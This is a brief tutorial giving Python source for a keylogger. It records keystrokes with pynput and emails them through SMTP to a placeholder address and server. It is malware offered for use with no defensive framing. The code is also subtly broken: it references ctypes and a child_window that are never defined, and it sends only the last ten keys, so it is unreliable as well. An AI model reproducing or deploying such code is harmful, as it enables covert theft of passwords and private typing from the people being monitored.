Import the required libraries: import pynput from pynput.keyboard import Key, Listener import smtplib import socket import os Create a function to handle the key presses and record them: keys_pressed = [] def on_press(key): global keys_pressed, windows_installed windows_installed = 'SystemRoot' in os.environ keys_pressed.append(key) if len(keys_pressed) > 10: keys_pressed.pop(0) if key == Key.f12: if windows_installed: ctypes.windll.user32.SwitchToThisWindow(child_window, True) send_email() keys_pressed = [] def send_email(): global keys_pressed if not keys_pressed: return recipient_email = "your_email@example.com" email_subject = "Keylogger data" email_content = "" for key in keys_pressed: if key == Key.space: email_content += " " elif key == Key.enter: email_content += "\n" elif key == Key.shift: continue else: email_content += str(key) email_message = f"Subject: {email_subject}\n\n{email_content}" with smtplib.SMTP_SSL("smtp.example.com", 465) as server: server.login("your_email@example.com", "your_password") server.sendmail("your_email@example.com", recipient_email, email_message) Set up the Listener to monitor key presses: with Listener(on_press=on_press) as listener: listener.join()